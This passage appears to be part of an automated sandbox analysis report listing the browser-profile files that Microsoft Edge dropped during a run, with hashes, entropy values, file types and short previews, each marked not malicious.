SHA1:	CEA65D80C35A587C69D6835D43D4CDE2F16F699E
SHA-256:	01CFB1FAC8C1254ED6C597F2AE6032D5FF76E45BA45C612E45896A2F6D02C9CE
SHA-512:	BB47E8D9F85D5DF8867FFD9AA30B7C696041F7556E0489D927B3CC75FB97396692B9AA49EF5168D84C6DB21A44EFFC81C547BE8745650CAB06FB3226AACF3F70
Malicious:	false
Preview:	2024/11/23-15:59:29.413 1d6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/23-15:59:29.414 1d6c Recovering log #3.2024/11/23-15:59:29.414 1d6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.215423429429323
Encrypted:	false
SSDEEP:	6:HG6pM+q2PN723oH+TcwtnG2tMsIFUt8YGZeZZmw+YGZeMMVkwON723oH+TcwtnGg:ppM+vVaYebn9GFUt8H6/+HlMV5OaYebB
MD5:	AB4154C9EA9E04DC1A6034F188EA1772
SHA1:	CEA65D80C35A587C69D6835D43D4CDE2F16F699E
SHA-256:	01CFB1FAC8C1254ED6C597F2AE6032D5FF76E45BA45C612E45896A2F6D02C9CE
SHA-512:	BB47E8D9F85D5DF8867FFD9AA30B7C696041F7556E0489D927B3CC75FB97396692B9AA49EF5168D84C6DB21A44EFFC81C547BE8745650CAB06FB3226AACF3F70
Malicious:	false
Preview:	2024/11/23-15:59:29.413 1d6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/23-15:59:29.414 1d6c Recovering log #3.2024/11/23-15:59:29.414 1d6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.612738889601526
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jGZ2UWpi02pmL:TO8D4jJ/6Up+r+f+
MD5:	06F28D44B0A8D605705704573F403149
SHA1:	74B314D5F952A4E1B4EA0D2C694BA4705C5B7601
SHA-256:	6C9152A812DA2A8AD23EB125D0ECC7F7C3BC92807B011AD8839972A11B76DAD8
SHA-512:	045D61D838927D9B062CBA4616A9891D2B3B1AA371FE54FF5CC0B3AE7C20C65BE25EA46BAD201072F87FEFA61F4515E62BE8F6B0C8ACDEAA0520615DACA42CF1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354061502337287
Encrypted:	false
SSDEEP:	6144:3A/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:3FdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	A41A1E2A0A50BE5871F9F6EFBEBE99B9
SHA1:	6589EBA3F43D534DA27B32CCE579372C06814361
SHA-256:	AB361FA68DB365C2FCA7D013AE8FCFCA526A9CAEA8864614DFE87D7681A87718
SHA-512:	1605B1A449AE82C78271DD7B24E3554343D5362C6818B8AA9DCE33863C23FB4CCA0BAC97D5A664AACEF9BA9EFE17D72C858270686022A5B9FED23383EC3E800D
Malicious:	false
Preview:	...m.................DB_VERSION.1$b.}q...............&QUERY_TIMESTAMP:domains_config_gz2...13376869177323010..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.166221486616819
Encrypted:	false
SSDEEP:	6:HGb31N723oH+Tcwtk2WwnvB2KLlVGb8q+q2PN723oH+Tcwtk2WwnvIFUv:OaYebkxwnvFLBLvVaYebkxwnQFUv
MD5:	71DEC737570EFE91FCC8F2CD8D9A316F
SHA1:	1F5A5B741D182942490624109EFDEE7F29C2349F
SHA-256:	497CB3D2053BFC4506D127C2A3B1BBEF2A828A089CA62929B5D45A91A5098E43
SHA-512:	E0784B89AA74D0A927822DA861C97A75EE8814B32C633D88CECD489667A0FA56AD979FF00AE949986019E1D82E5256BE6437865B6B48B44169845CAFB67D7882
Malicious:	false
Preview:	2024/11/23-15:59:33.950 eb8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/23-15:59:33.989 eb8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324605997711172
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RD:C1gAg1zfvr
MD5:	121581AB1A35F99B601E6B99B6021266
SHA1:	8AC3004B7506CF97DC62A1B4E596494C886D7040
SHA-256:	38061A8D6A2369BF88AFA9BCA507F37E88C9528ADA9B5017102C8174B02CEF51
SHA-512:	2338F459A9DA23C1869C49CEC36DE9B2A276BE9FB4604AF797F17009E2B3CC79D3F1866DF6530217AAC03228F25BE8F6A441B386AD3352E4615674B0B98FDF04
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.22846025223331
Encrypted:	false
SSDEEP:	6:HGYGqM+q2PN723oH+Tcwt8aPrqIFUt8YGuZmw+YGRMVkwON723oH+Tcwt8amLJ:5M+vVaYebL3FUt8s/+HMV5OaYebQJ
MD5:	BE19C4496448406670315F12B25E62D9
SHA1:	4821B7C752DEB38596BE39B39482B6FB4BB9CA43
SHA-256:	9E6BCC847104E480ADCD9121DD70E738241E3FD49AB3C3A387674D01564F80A2
SHA-512:	652BB7FD72EE61ADB44CCEA58D96D0856992A959CF8BEFFBFB002269AC597092FD8B241CD7FE40B6C10CD4DD90ED27D7240E7B1296AA0914A96A5095DAEE27E4
Malicious:	false
Preview:	2024/11/23-15:59:29.437 1d6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/23-15:59:29.438 1d6c Recovering log #3.2024/11/23-15:59:29.438 1d6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.22846025223331
Encrypted:	false
SSDEEP:	6:HGYGqM+q2PN723oH+Tcwt8aPrqIFUt8YGuZmw+YGRMVkwON723oH+Tcwt8amLJ:5M+vVaYebL3FUt8s/+HMV5OaYebQJ
MD5:	BE19C4496448406670315F12B25E62D9
SHA1:	4821B7C752DEB38596BE39B39482B6FB4BB9CA43
SHA-256:	9E6BCC847104E480ADCD9121DD70E738241E3FD49AB3C3A387674D01564F80A2
SHA-512:	652BB7FD72EE61ADB44CCEA58D96D0856992A959CF8BEFFBFB002269AC597092FD8B241CD7FE40B6C10CD4DD90ED27D7240E7B1296AA0914A96A5095DAEE27E4
Malicious:	false
Preview:	2024/11/23-15:59:29.437 1d6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/23-15:59:29.438 1d6c Recovering log #3.2024/11/23-15:59:29.438 1d6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.202227711140917
Encrypted:	false
SSDEEP:	6:HGbo0MM+q2PN723oH+Tcwt865IFUt8YGbQXXZmw+YGbBMMVkwON723oH+Tcwt86L:bM+vVaYeb/WFUt8w/+AMV5OaYeb/+SJ
MD5:	AF21D65919190AAC8C35D28FC2015EF3
SHA1:	E86ECA58F39D0E7A631CE0185B0715BE792F7A37
SHA-256:	75BA06BF1F8C4B07EFDC09F6E802BA019A3FCCD35C02BC6BCB358C2623E22205
SHA-512:	F2C4E6752B0F07170B9C627C1B8B06258F92306B159D3B6AD1D268A6C8E7AA25FE79152553EE5304F7066E40BEC56C26FEEA527B8C17CCDCFF45EF876F5692EF
Malicious:	false
Preview:	2024/11/23-15:59:29.444 1d6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/23-15:59:29.445 1d6c Recovering log #3.2024/11/23-15:59:29.446 1d6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.202227711140917
Encrypted:	false
SSDEEP:	6:HGbo0MM+q2PN723oH+Tcwt865IFUt8YGbQXXZmw+YGbBMMVkwON723oH+Tcwt86L:bM+vVaYeb/WFUt8w/+AMV5OaYeb/+SJ
MD5:	AF21D65919190AAC8C35D28FC2015EF3
SHA1:	E86ECA58F39D0E7A631CE0185B0715BE792F7A37
SHA-256:	75BA06BF1F8C4B07EFDC09F6E802BA019A3FCCD35C02BC6BCB358C2623E22205
SHA-512:	F2C4E6752B0F07170B9C627C1B8B06258F92306B159D3B6AD1D268A6C8E7AA25FE79152553EE5304F7066E40BEC56C26FEEA527B8C17CCDCFF45EF876F5692EF
Malicious:	false
Preview:	2024/11/23-15:59:29.444 1d6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/23-15:59:29.445 1d6c Recovering log #3.2024/11/23-15:59:29.446 1d6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.168555501456675
Encrypted:	false
SSDEEP:	6:HGbevTSQ+q2PN723oH+Tcwt8NIFUt8YGbevTSgZmw+YGbevTSQVkwON723oH+TcN:fveQ+vVaYebpFUt8Yveg/+YveQV5OaYN
MD5:	B241844E794B496D7301736FA0C35A17
SHA1:	B5301880830DC9A47E66EDD666DF566254E01758
SHA-256:	C39B6E936C75B1BCEC6D9DE9AFD1E8370F32F466E467BDCCE4BD4C08D5AB0CB5
SHA-512:	19CD7AEBAA6A5C3EC64E54195EB8F60CC251582C0771ECC7D2C5D527D7C8A06B7CB532D2FBEFA816AEEA539A044AAA007D926BBDD196445C349E92113489E7DA
Malicious:	false
Preview:	2024/11/23-15:59:30.180 23bc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/23-15:59:30.180 23bc Recovering log #3.2024/11/23-15:59:30.180 23bc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.168555501456675
Encrypted:	false
SSDEEP:	6:HGbevTSQ+q2PN723oH+Tcwt8NIFUt8YGbevTSgZmw+YGbevTSQVkwON723oH+TcN:fveQ+vVaYebpFUt8Yveg/+YveQV5OaYN
MD5:	B241844E794B496D7301736FA0C35A17
SHA1:	B5301880830DC9A47E66EDD666DF566254E01758
SHA-256:	C39B6E936C75B1BCEC6D9DE9AFD1E8370F32F466E467BDCCE4BD4C08D5AB0CB5
SHA-512:	19CD7AEBAA6A5C3EC64E54195EB8F60CC251582C0771ECC7D2C5D527D7C8A06B7CB532D2FBEFA816AEEA539A044AAA007D926BBDD196445C349E92113489E7DA
Malicious:	false
Preview:	2024/11/23-15:59:30.180 23bc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/23-15:59:30.180 23bc Recovering log #3.2024/11/23-15:59:30.180 23bc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21810997314429556
Encrypted:	false
SSDEEP:	3:vRlntFlljq7A/mhWJFuQ3yy7IOWUiM/Kl/dweytllrE9SFcTp4AGbNCV9RUIqn:vw75fOAsKl/d0Xi99pEYs
MD5:	28403B52E092AEC479C19C02024BAC55
SHA1:	CB2F348606BFA680E579C23D054BC16BADC62F12
SHA-256:	137ECFDC4F4B33D97A8DF1AF3107C804A29A9BE61615A49A6BAC88A9D69B703A
SHA-512:	5A6D034A0D41AAEDAFFD1A7E536024F63ADA96E8F3529ABCAF8487C8E4F56C647F1E1094B283CF283F0F97000A40F5F5F729DD0BCC920D5588A10C09FE973E72
Malicious:	false
Preview:	............Z.]$...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.647686505824569
Encrypted:	false
SSDEEP:	384:aj9P01cSQkQerkP/KbtZ773pLwgam6IChXjl4RKToaAu:adTSe2kP/w7xSpl4RKcC
MD5:	237E12BCB55079656AE53534BC404E99
SHA1:	D0EFA0A36FD5224565BE33A8296A8BD0427A7FE6
SHA-256:	08AD05CA2BCEB93ED4257E2496C3B327BBF4121231F3CF21D5478C0F24CB5C0B
SHA-512:	BEFF1AA211A59DD3B45CDDECDCB24DBED64C499643F7F6D1FA55890208E2EDDA0A0F5D7A2CDF9E4CD82042745CC3989F9470B15338D0B8B3F4CF28FE77BD9301
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.251554367822428
Encrypted:	false
SSDEEP:	12:NZOvVaYeb8rcHEZrELFUt8mZX/+mEP5OaYeb8rcHEZrEZSJ:nMVaYeb8nZrExg8IgOaYeb8nZrEZe
MD5:	BC83D096A614781A18F1D9325618161C
SHA1:	EC513B0C2820CE52AC26C0CE31F3A9AF82AE4B15
SHA-256:	A4DA5C3C0175CCF79C682F9D0BCB4E8A6694BE1E25396DE4A31B6C006D4F57EA
SHA-512:	3774FB21849605D640762FF0E2EF72B78BB9BFA09356467632272B9CF414C89DE0BF901B8A305926A6A646D99CADD943FEFFC8D94D7BE0E0F30634332538B4D8
Malicious:	false
Preview:	2024/11/23-15:59:33.403 23b4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/23-15:59:33.403 23b4 Recovering log #3.2024/11/23-15:59:33.404 23b4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
